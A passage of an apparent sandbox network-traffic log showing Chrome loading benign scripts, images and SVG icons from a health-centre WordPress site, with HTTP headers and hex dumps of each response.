2024-04-24 12:44:17 UTC	16384	IN	Data Raw: 3c 74 68 69 73 2e 76 61 6c 69 64 61 74 69 6f 6e 52 65 73 75 6c 74 2e 6c 65 6e 67 74 68 3b 74 2b 2b 29 65 2e 70 75 73 68 28 74 68 69 73 2e 76 61 6c 69 64 61 74 69 6f 6e 52 65 73 75 6c 74 5b 74 5d 2e 65 72 72 6f 72 4d 65 73 73 61 67 65 7c 7c 74 68 69 73 2e 5f 67 65 74 45 72 72 6f 72 4d 65 73 73 61 67 65 28 74 68 69 73 2e 76 61 6c 69 64 61 74 69 6f 6e 52 65 73 75 6c 74 5b 74 5d 2e 61 73 73 65 72 74 29 29 3b 72 65 74 75 72 6e 20 65 7d 2c 61 64 64 45 72 72 6f 72 3a 66 75 6e 63 74 69 6f 6e 28 65 29 7b 76 61 72 20 74 3d 61 72 67 75 6d 65 6e 74 73 2e 6c 65 6e 67 74 68 3c 3d 31 7c 7c 76 6f 69 64 20 30 3d 3d 3d 61 72 67 75 6d 65 6e 74 73 5b 31 5d 3f 7b 7d 3a 61 72 67 75 6d 65 6e 74 73 5b 31 5d 2c 69 3d 74 2e 6d 65 73 73 61 67 65 2c 6e 3d 74 2e 61 73 73 65 72 74 2c Data Ascii: <this.validationResult.length;t++)e.push(this.validationResult[t].errorMessage\|\|this._getErrorMessage(this.validationResult[t].assert));return e},addError:function(e){var t=arguments.length<=1\|\|void 0===arguments[1]?{}:arguments[1],i=t.message,n=t.assert,
2024-04-24 12:44:17 UTC	10576	IN	Data Raw: 70 65 64 43 6f 6e 73 74 72 61 69 6e 74 73 3a 66 75 6e 63 74 69 6f 6e 28 29 7b 69 66 28 21 31 3d 3d 3d 74 68 69 73 2e 6f 70 74 69 6f 6e 73 2e 70 72 69 6f 72 69 74 79 45 6e 61 62 6c 65 64 29 72 65 74 75 72 6e 5b 74 68 69 73 2e 63 6f 6e 73 74 72 61 69 6e 74 73 5d 3b 66 6f 72 28 76 61 72 20 65 3d 5b 5d 2c 74 3d 7b 7d 2c 69 3d 30 3b 69 3c 74 68 69 73 2e 63 6f 6e 73 74 72 61 69 6e 74 73 2e 6c 65 6e 67 74 68 3b 69 2b 2b 29 7b 76 61 72 20 6e 3d 74 68 69 73 2e 63 6f 6e 73 74 72 61 69 6e 74 73 5b 69 5d 2e 70 72 69 6f 72 69 74 79 3b 74 5b 6e 5d 7c 7c 65 2e 70 75 73 68 28 74 5b 6e 5d 3d 5b 5d 29 2c 74 5b 6e 5d 2e 70 75 73 68 28 74 68 69 73 2e 63 6f 6e 73 74 72 61 69 6e 74 73 5b 69 5d 29 7d 72 65 74 75 72 6e 20 65 2e 73 6f 72 74 28 66 75 6e 63 74 69 6f 6e 28 65 2c 74 Data Ascii: pedConstraints:function(){if(!1===this.options.priorityEnabled)return[this.constraints];for(var e=[],t={},i=0;i<this.constraints.length;i++){var n=this.constraints[i].priority;t[n]\|\|e.push(t[n]=[]),t[n].push(this.constraints[i])}return e.sort(function(e,t

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
30	192.168.2.4	49776	35.222.242.251	443	3484	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-24 12:44:17 UTC	602	OUT	GET /wp-content/plugins/user-submitted-posts/resources/jquery.usp.core.js?ver=20240319 HTTP/1.1 Host: valleyprohealth.org Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: http://valleyprohealth.org/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-04-24 12:44:17 UTC	429	IN	HTTP/1.1 200 OK Server: nginx Date: Wed, 24 Apr 2024 12:44:17 GMT Content-Type: application/javascript Content-Length: 7158 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Last-Modified: Sun, 24 Mar 2024 08:09:37 GMT Vary: Accept-Encoding ETag: "65ffdfc1-1bf6" Cache-Control: public, max-age=31536000 Vary: Accept-Encoding Access-Control-Allow-Origin: * Accept-Ranges: bytes
2024-04-24 12:44:17 UTC	7158	IN	Data Raw: 2f 2a 20 0a 09 55 73 65 72 20 53 75 62 6d 69 74 74 65 64 20 50 6f 73 74 73 20 3a 20 43 6f 72 65 20 4a 53 20 3a 20 56 65 72 73 69 6f 6e 20 32 2e 30 0a 09 40 20 68 74 74 70 73 3a 2f 2f 70 65 72 69 73 68 61 62 6c 65 70 72 65 73 73 2e 63 6f 6d 2f 75 73 65 72 2d 73 75 62 6d 69 74 74 65 64 2d 70 6f 73 74 73 2f 0a 2a 2f 0a 6a 51 75 65 72 79 28 64 6f 63 75 6d 65 6e 74 29 2e 72 65 61 64 79 28 66 75 6e 63 74 69 6f 6e 28 24 29 20 7b 0a 09 0a 09 24 28 27 2e 75 73 70 2d 63 61 6c 6c 6f 75 74 2d 66 61 69 6c 75 72 65 27 29 2e 61 64 64 43 6c 61 73 73 28 27 75 73 70 2d 68 69 64 64 65 6e 27 29 2e 68 69 64 65 28 29 3b 0a 09 24 28 27 23 75 73 65 72 2d 73 75 62 6d 69 74 74 65 64 2d 70 6f 73 74 27 29 2e 6f 6e 28 27 63 6c 69 63 6b 27 2c 20 66 75 6e 63 74 69 6f 6e 28 65 29 20 7b Data Ascii: /* User Submitted Posts : Core JS : Version 2.0@ https://perishablepress.com/user-submitted-posts/*/jQuery(document).ready(function($) {$('.usp-callout-failure').addClass('usp-hidden').hide();$('#user-submitted-post').on('click', function(e) {

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
31	192.168.2.4	49777	35.222.242.251	443	3484	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-24 12:44:17 UTC	589	OUT	GET /wp-content/themes/vpchc/dist/_theme_color.bundle.js?ver=230904-91935 HTTP/1.1 Host: valleyprohealth.org Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: http://valleyprohealth.org/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-04-24 12:44:17 UTC	427	IN	HTTP/1.1 200 OK Server: nginx Date: Wed, 24 Apr 2024 12:44:17 GMT Content-Type: application/javascript Content-Length: 940 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Last-Modified: Mon, 04 Sep 2023 09:19:35 GMT Vary: Accept-Encoding ETag: "64f5a127-3ac" Cache-Control: public, max-age=31536000 Vary: Accept-Encoding Access-Control-Allow-Origin: * Accept-Ranges: bytes
2024-04-24 12:44:17 UTC	940	IN	Data Raw: 21 66 75 6e 63 74 69 6f 6e 28 65 29 7b 76 61 72 20 74 3d 7b 7d 3b 66 75 6e 63 74 69 6f 6e 20 72 28 6e 29 7b 69 66 28 74 5b 6e 5d 29 72 65 74 75 72 6e 20 74 5b 6e 5d 2e 65 78 70 6f 72 74 73 3b 76 61 72 20 6f 3d 74 5b 6e 5d 3d 7b 69 3a 6e 2c 6c 3a 21 31 2c 65 78 70 6f 72 74 73 3a 7b 7d 7d 3b 72 65 74 75 72 6e 20 65 5b 6e 5d 2e 63 61 6c 6c 28 6f 2e 65 78 70 6f 72 74 73 2c 6f 2c 6f 2e 65 78 70 6f 72 74 73 2c 72 29 2c 6f 2e 6c 3d 21 30 2c 6f 2e 65 78 70 6f 72 74 73 7d 72 2e 6d 3d 65 2c 72 2e 63 3d 74 2c 72 2e 64 3d 66 75 6e 63 74 69 6f 6e 28 65 2c 74 2c 6e 29 7b 72 2e 6f 28 65 2c 74 29 7c 7c 4f 62 6a 65 63 74 2e 64 65 66 69 6e 65 50 72 6f 70 65 72 74 79 28 65 2c 74 2c 7b 65 6e 75 6d 65 72 61 62 6c 65 3a 21 30 2c 67 65 74 3a 6e 7d 29 7d 2c 72 2e 72 3d 66 75 6e Data Ascii: !function(e){var t={};function r(n){if(t[n])return t[n].exports;var o=t[n]={i:n,l:!1,exports:{}};return e[n].call(o.exports,o,o.exports,r),o.l=!0,o.exports}r.m=e,r.c=t,r.d=function(e,t,n){r.o(e,t)\|\|Object.defineProperty(e,t,{enumerable:!0,get:n})},r.r=fun

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
32	192.168.2.4	49778	35.222.242.251	443	3484	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-24 12:44:17 UTC	559	OUT	GET /wp-content/themes/vpchc/dist/custom.js HTTP/1.1 Host: valleyprohealth.org Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: http://valleyprohealth.org/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-04-24 12:44:18 UTC	428	IN	HTTP/1.1 200 OK Server: nginx Date: Wed, 24 Apr 2024 12:44:17 GMT Content-Type: application/javascript Content-Length: 2119 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Last-Modified: Mon, 04 Sep 2023 09:19:51 GMT Vary: Accept-Encoding ETag: "64f5a137-847" Cache-Control: public, max-age=31536000 Vary: Accept-Encoding Access-Control-Allow-Origin: * Accept-Ranges: bytes
2024-04-24 12:44:18 UTC	2119	IN	Data Raw: 24 28 64 6f 63 75 6d 65 6e 74 29 2e 72 65 61 64 79 28 66 75 6e 63 74 69 6f 6e 20 28 29 20 7b 0d 0a 20 20 2f 2f 20 47 65 74 74 69 6e 67 20 65 6c 65 6d 65 6e 74 73 0d 0a 20 20 6c 65 74 20 72 65 76 69 65 77 73 43 6f 75 6e 74 20 3d 20 64 6f 63 75 6d 65 6e 74 2e 71 75 65 72 79 53 65 6c 65 63 74 6f 72 28 22 2e 67 6f 6f 67 6c 65 2d 72 65 76 69 65 77 73 2d 63 6f 6e 74 61 69 6e 65 72 22 29 3b 0d 0a 20 20 6c 65 74 20 72 65 76 69 65 77 73 65 63 74 69 6f 6e 20 3d 20 64 6f 63 75 6d 65 6e 74 2e 71 75 65 72 79 53 65 6c 65 63 74 6f 72 28 22 2e 73 65 63 74 69 6f 6e 2d 67 6f 6f 67 6c 65 2d 72 65 76 69 65 77 73 22 29 3b 0d 0a 20 20 2f 2f 20 63 68 65 63 6b 69 6e 67 20 6e 75 6d 62 65 72 20 6f 66 20 72 65 76 69 65 77 73 0d 0a 20 20 69 66 20 28 72 65 76 69 65 77 73 43 6f 75 6e Data Ascii: $(document).ready(function () { // Getting elements let reviewsCount = document.querySelector(".google-reviews-container"); let reviewsection = document.querySelector(".section-google-reviews"); // checking number of reviews if (reviewsCoun

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
33	192.168.2.4	49779	35.222.242.251	443	3484	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-24 12:44:17 UTC	628	OUT	GET /wp-content/uploads/2020/07/homepage-923x814.jpg HTTP/1.1 Host: valleyprohealth.org Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: http://valleyprohealth.org/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-04-24 12:44:18 UTC	327	IN	HTTP/1.1 200 OK Server: nginx Date: Wed, 24 Apr 2024 12:44:18 GMT Content-Type: image/jpeg Content-Length: 78254 Connection: close Last-Modified: Mon, 04 Sep 2023 09:19:40 GMT ETag: "64f5a12c-131ae" Cache-Control: public, max-age=31536000 Vary: Accept-Encoding Access-Control-Allow-Origin: * Accept-Ranges: bytes
2024-04-24 12:44:18 UTC	16057	IN	Data Raw: ff d8 ff e0 00 10 4a 46 49 46 00 01 01 00 00 01 00 01 00 00 ff db 00 43 00 06 04 04 05 04 04 06 05 05 05 06 06 06 07 09 0e 09 09 08 08 09 12 0d 0d 0a 0e 15 12 16 16 15 12 14 14 17 1a 21 1c 17 18 1f 19 14 14 1d 27 1d 1f 22 23 25 25 25 16 1c 29 2c 28 24 2b 21 24 25 24 ff db 00 43 01 06 06 06 09 08 09 11 09 09 11 24 18 14 18 24 24 24 24 24 24 24 24 24 24 24 24 24 24 24 24 24 24 24 24 24 24 24 24 24 24 24 24 24 24 24 24 24 24 24 24 24 24 24 24 24 24 24 24 24 24 24 24 24 24 ff c0 00 11 08 03 2e 03 9b 03 01 11 00 02 11 01 03 11 01 ff c4 00 1c 00 00 02 03 01 01 01 01 00 00 00 00 00 00 00 00 00 01 02 00 03 04 05 06 07 08 ff c4 00 44 10 00 01 04 01 03 03 02 04 04 04 04 06 02 01 01 09 01 00 02 03 11 04 05 21 31 06 12 41 13 51 07 22 61 71 14 32 81 91 23 42 a1 b1 15 Data Ascii: JFIFC!'"#%%%),($+!$%$C$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$.D!1AQ"aq2#B
2024-04-24 12:44:18 UTC	16384	IN	Data Raw: 00 f5 13 fb 2f 8d cb 77 c9 74 eb c9 35 8c 8f a8 63 66 49 89 28 92 33 f7 1e eb 8d c7 73 b7 39 6c bb 8f 51 81 9f 16 7c 61 cc 34 e1 f9 9b ec bc d9 63 71 7a 70 ce 64 d2 54 69 15 44 41 11 44 2c d5 89 4a 2a 20 0b 42 a9 79 56 31 4a cd 92 8b db c2 95 56 78 59 68 92 70 ac 65 48 0b 48 3e 10 55 22 ac d6 69 97 4c 58 1c 7e 53 25 8d 83 85 c9 d0 06 e5 54 07 22 55 2f e1 58 cd 64 91 74 62 b1 c9 ca e9 1c ea 97 2d 46 14 9e 56 92 90 ad 91 5d 29 54 0a ca 17 ca 32 74 69 aa a9 79 5e b1 0a 50 56 56 20 5a 88 60 29 50 42 28 da cd 11 45 da 22 22 85 a2 10 74 f0 05 52 35 1d 01 b2 28 dd a2 88 36 80 85 28 2b 28 3d c8 0a 28 a2 22 08 8a 88 81 c9 40 51 a8 16 8a 97 65 00 03 64 4d 88 44 f6 9f 52 ac 58 52 b4 a8 82 20 20 d2 80 d8 2b 29 45 19 44 50 22 d1 13 81 ba 35 20 59 e5 58 40 f2 b4 a3 c8 Data Ascii: /wt5cfI(3s9lQ\|a4cqzpdTiDAD,J* ByV1JVxYhpeHH>U"iLX~S%T"U/Xdtb-FV])T2tiy^PVV Z`)PB(E""tR5(6(+(=("@QedMDRXR +)EDP"5 YX@
2024-04-24 12:44:18 UTC	16384	IN	Data Raw: f7 1c 39 2f d3 f4 a0 6f 8f 0b 0e 36 ac 01 19 a3 48 88 05 20 21 16 0f 6d 6e a5 6a 18 9b 6a 8b b2 1e 56 a1 a5 79 51 fa 90 17 79 66 ff 00 a2 92 ea a5 ee 39 e0 ae 88 88 6d 0a 25 a4 71 55 05 a2 d0 31 50 25 aa 09 3b 20 03 74 16 b7 95 03 b4 59 41 63 41 d8 7e 8b 23 59 34 da 51 54 b8 5a 20 52 08 02 08 39 40 e3 65 af a1 7b 0a c5 6a 3d 6f 4d cf ea 60 96 13 f9 0d 2f 3f 2c ed ea e1 bd 69 d1 77 2b 9b 79 32 64 15 d2 46 2b 0c 8b a4 71 ac cf 3b ad b1 55 b9 69 85 4e 56 36 43 c2 50 85 46 68 b3 94 a4 58 ac 74 2d 85 a0 f6 bc cd 41 05 1a 44 10 a0 54 10 a8 02 85 02 56 a2 42 da d0 d5 a7 8b 91 67 25 9e de 92 0f fb 63 ec b8 57 78 65 15 10 10 40 1f 54 0a e9 83 06 e5 0d ab f5 83 fc da ba 4d a8 95 bd cf 05 56 1c 2e ae d7 71 fa 6f 4b 9f 3d dc 46 db ed 1c 92 b5 2e a6 eb 5c 7c 77 93 39 Data Ascii: 9/o6H !mnjjVyQyf9m%qU1P%; tYAcA~#Y4QTZ R9@e{j=oM`/?,iw+y2dF+q;UiNV6CPFhXt-ADTVBg%cWxe@TMV.qoK=F.\\|w9
2024-04-24 12:44:18 UTC	16384	IN	Data Raw: f1 cb 4c e5 8e e3 e1 1f 16 7e 1c ca c3 2e af a7 c2 4b 5b bc d1 b4 70 3d c2 bc bc 73 39 e5 1e cf 87 f2 75 ff 00 6f 3f fd 3e 13 a9 e0 b5 c4 90 d5 e3 8f a3 94 71 1f 89 e9 ba da 68 ab b7 2d 37 61 66 d7 c8 ff 00 ea ad ed 65 5d 29 a7 77 35 46 b6 47 ca c7 8a 75 6e 89 6b 14 98 b0 93 dc 1c 02 ac 69 9a 68 5b c0 46 6c 56 09 88 53 4e ca fb 36 1d e7 b8 28 bb 6d 8e 50 f6 51 d8 a9 a6 fc 94 3e 27 5d d2 ac 83 71 0b cf 09 69 21 ce 3b 99 bf 62 8d 78 89 8f b8 51 6d 21 ad a8 7e 1d 1b 46 6e 20 18 41 aa d9 0d 2e 8e d8 77 3b 2a 35 42 e0 79 59 ae b8 bd 47 4b c8 19 90 08 34 57 9f 95 eb e2 d6 9f 47 d3 f3 9d 21 6b 48 fd 42 f1 d7 5b 1e a3 12 fd 31 6a 62 e5 5b 58 dd ac ad b9 5c 81 dc a3 50 a9 19 b4 6e 95 67 6b 1a 4a d4 8c da ee f4 ce 01 ce ce 05 c2 d8 cd ca f6 7c 7c 37 77 5e 4f 91 c9 Data Ascii: L~.K[p=s9uo?>qh-7afe])w5FGunkih[FlVSN6(mPQ>']qi!;bxQm!~Fn A.w;*5ByYGK4WG!kHB[1jb[X\PngkJ\|\|7w^O
2024-04-24 12:44:18 UTC	13045	IN	Data Raw: b6 81 49 b4 00 a0 08 a5 25 10 a4 a0 1f 54 00 9b 40 10 0b 41 d0 5c 1d 45 04 41 0a 00 82 14 2b 8d d4 98 a6 6c 27 38 0b a0 bb f1 5e df 3b e6 e1 bc 5f 36 ca 1d 92 1f 0b d6 fc fd ea 9a 2c 97 b1 a2 cd 84 d3 5e 77 ec 72 08 c9 8c d5 5a 46 72 72 0c af 85 fd 8e 1b 5a de 9c 37 7e 9d 3c 6c 80 e8 fb 6e c5 2c eb 4e be 5b 65 c2 6f 66 79 75 f2 56 72 fc b7 c5 7f 8e 9e 85 a6 d3 d3 a0 b9 bb 2a 2a ad d0 30 77 6e e8 86 fc 40 f6 40 4c f6 8a 42 f1 e4 a0 4b 08 85 35 68 94 a4 8b 55 12 d1 36 9d c4 a3 28 4a 05 bb 41 10 0f 28 0a 03 b0 08 21 28 20 28 25 ee 82 77 51 41 2e ca 08 79 5a 88 20 95 6a 0d ac c0 ae 5b 80 02 94 38 34 16 6a c4 b5 7e 90 69 40 0d 85 4a 50 56 99 30 72 8a 76 be 8a 58 4a 61 31 be 14 d2 f9 18 ca 0f 8b 53 46 c9 62 ec 6c 55 46 88 33 43 7e 47 9d 96 6c 75 99 fe 56 be 26 Data Ascii: I%T@A\EA+l'8^;_6,^wrZFrrZ7~<ln,N[eofyuVr**0wn@@LBK5hU6(JA(!( (%wQA.yZ j[84j~i@JPV0rvXJa1SFblUF3C~GluV&

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
34	192.168.2.4	49781	35.222.242.251	443	3484	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-24 12:44:18 UTC	622	OUT	GET /wp-content/uploads/2020/06/icon__logo.svg HTTP/1.1 Host: valleyprohealth.org Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: http://valleyprohealth.org/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-04-24 12:44:19 UTC	421	IN	HTTP/1.1 200 OK Server: nginx Date: Wed, 24 Apr 2024 12:44:18 GMT Content-Type: image/svg+xml Content-Length: 19885 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Last-Modified: Mon, 04 Sep 2023 09:19:29 GMT Vary: Accept-Encoding ETag: "64f5a121-4dad" Cache-Control: public, max-age=31536000 Vary: Accept-Encoding Access-Control-Allow-Origin: * Accept-Ranges: bytes
2024-04-24 12:44:19 UTC	15963	IN	Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0a 3c 73 76 67 20 77 69 64 74 68 3d 22 33 32 37 22 20 68 65 69 67 68 74 3d 22 35 34 22 20 76 69 65 77 42 6f 78 3d 22 30 20 30 20 33 32 37 20 35 34 22 20 66 69 6c 6c 3d 22 6e 6f 6e 65 22 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 30 2f 73 76 67 22 3e 0a 09 3c 74 69 74 6c 65 3e 49 63 6f 6e 20 4c 6f 67 6f 3c 2f 74 69 74 6c 65 3e 0a 3c 70 61 74 68 20 66 69 6c 6c 2d 72 75 6c 65 3d 22 65 76 65 6e 6f 64 64 22 20 63 6c 69 70 2d 72 75 6c 65 3d 22 65 76 65 6e 6f 64 64 22 20 64 3d 22 4d 32 31 2e 30 37 30 36 20 31 37 2e 37 37 30 37 43 32 31 2e 30 37 30 36 20 38 2e 32 31 33 37 33 20 32 38 2e 38 31 38 20 30 2e 34 Data Ascii: <?xml version="1.0" encoding="utf-8"?><svg width="327" height="54" viewBox="0 0 327 54" fill="none" xmlns="http://www.w3.org/2000/svg"><title>Icon Logo</title><path fill-rule="evenodd" clip-rule="evenodd" d="M21.0706 17.7707C21.0706 8.21373 28.818 0.4
2024-04-24 12:44:19 UTC	3922	IN	Data Raw: 32 31 36 2e 30 35 32 20 34 30 2e 32 31 39 36 20 32 31 36 2e 39 32 34 20 33 39 2e 36 35 32 36 20 32 31 38 2e 37 35 36 20 33 39 2e 34 35 36 33 56 33 39 2e 39 35 37 39 43 32 31 38 2e 37 35 36 20 34 31 2e 35 32 38 20 32 31 38 2e 32 37 36 20 34 32 2e 31 36 30 35 20 32 31 37 2e 31 32 20 34 32 2e 31 36 30 35 5a 4d 32 32 39 2e 32 37 35 20 32 39 2e 39 37 56 34 34 2e 35 31 35 37 48 32 32 35 2e 30 38 38 56 32 39 2e 39 37 48 32 32 39 2e 32 37 35 5a 4d 32 33 35 2e 38 32 36 20 34 34 2e 36 34 36 35 43 32 33 36 2e 36 35 35 20 34 34 2e 36 34 36 35 20 32 33 37 2e 32 38 37 20 34 34 2e 35 38 31 31 20 32 33 38 2e 32 36 38 20 34 34 2e 34 30 36 37 56 34 31 2e 33 37 35 34 43 32 33 37 2e 38 33 32 20 34 31 2e 34 38 34 34 20 32 33 37 2e 34 31 38 20 34 31 2e 35 34 39 39 20 32 33 37 Data Ascii: 216.052 40.2196 216.924 39.6526 218.756 39.4563V39.9579C218.756 41.528 218.276 42.1605 217.12 42.1605ZM229.275 29.97V44.5157H225.088V29.97H229.275ZM235.826 44.6465C236.655 44.6465 237.287 44.5811 238.268 44.4067V41.3754C237.832 41.4844 237.418 41.5499 237

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
35	192.168.2.4	49780	35.222.242.251	443	3484	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-24 12:44:18 UTC	624	OUT	GET /wp-content/uploads/2020/07/icon_contact.svg HTTP/1.1 Host: valleyprohealth.org Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: http://valleyprohealth.org/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-04-24 12:44:18 UTC	418	IN	HTTP/1.1 200 OK Server: nginx Date: Wed, 24 Apr 2024 12:44:18 GMT Content-Type: image/svg+xml Content-Length: 536 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Last-Modified: Mon, 04 Sep 2023 09:19:45 GMT Vary: Accept-Encoding ETag: "64f5a131-218" Cache-Control: public, max-age=31536000 Vary: Accept-Encoding Access-Control-Allow-Origin: * Accept-Ranges: bytes
2024-04-24 12:44:18 UTC	536	IN	Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0a 3c 73 76 67 20 63 6c 61 73 73 3d 22 64 2d 62 6c 6f 63 6b 20 61 64 6a 75 73 74 61 62 6c 65 2d 65 6c 65 6d 65 6e 74 22 20 76 69 65 77 42 6f 78 3d 22 30 20 30 20 32 30 20 31 35 22 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 30 2f 73 76 67 22 3e 0a 09 3c 74 69 74 6c 65 3e 49 63 6f 6e 20 63 6f 6e 74 61 63 74 3c 2f 74 69 74 6c 65 3e 0a 3c 70 61 74 68 20 66 69 6c 6c 3d 22 23 30 65 31 65 34 64 22 20 64 3d 22 4d 31 39 2e 30 32 31 37 20 30 2e 34 37 35 34 33 33 4c 30 2e 38 32 39 34 31 32 20 37 2e 30 34 39 36 38 43 30 2e 34 39 31 38 37 38 20 37 2e 31 37 32 34 32 20 30 2e 34 33 34 33 34 34 20 37 2e 36 32 35 30 Data Ascii: <?xml version="1.0" encoding="utf-8"?><svg class="d-block adjustable-element" viewBox="0 0 20 15" xmlns="http://www.w3.org/2000/svg"><title>Icon contact</title><path fill="#0e1e4d" d="M19.0217 0.475433L0.829412 7.04968C0.491878 7.17242 0.434344 7.6250

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
36	192.168.2.4	49783	35.222.242.251	443	3484	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-24 12:44:18 UTC	626	OUT	GET /wp-content/themes/vpchc/images/img__empty.png HTTP/1.1 Host: valleyprohealth.org Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: http://valleyprohealth.org/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-04-24 12:44:18 UTC	320	IN	HTTP/1.1 200 OK Server: nginx Date: Wed, 24 Apr 2024 12:44:18 GMT Content-Type: image/png Content-Length: 82 Connection: close Last-Modified: Mon, 04 Sep 2023 09:19:36 GMT ETag: "64f5a128-52" Cache-Control: public, max-age=31536000 Vary: Accept-Encoding Access-Control-Allow-Origin: * Accept-Ranges: bytes
2024-04-24 12:44:18 UTC	82	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 01 00 00 00 01 01 03 00 00 00 25 db 56 ca 00 00 00 03 50 4c 54 45 ff ff ff a7 c4 1b c8 00 00 00 0a 49 44 41 54 08 1d 63 60 00 00 00 02 00 01 cf c8 35 e5 00 00 00 00 49 45 4e 44 ae 42 60 82 Data Ascii: PNGIHDR%VPLTEIDATc`5IENDB`

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
37	192.168.2.4	49784	35.222.242.251	443	3484	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
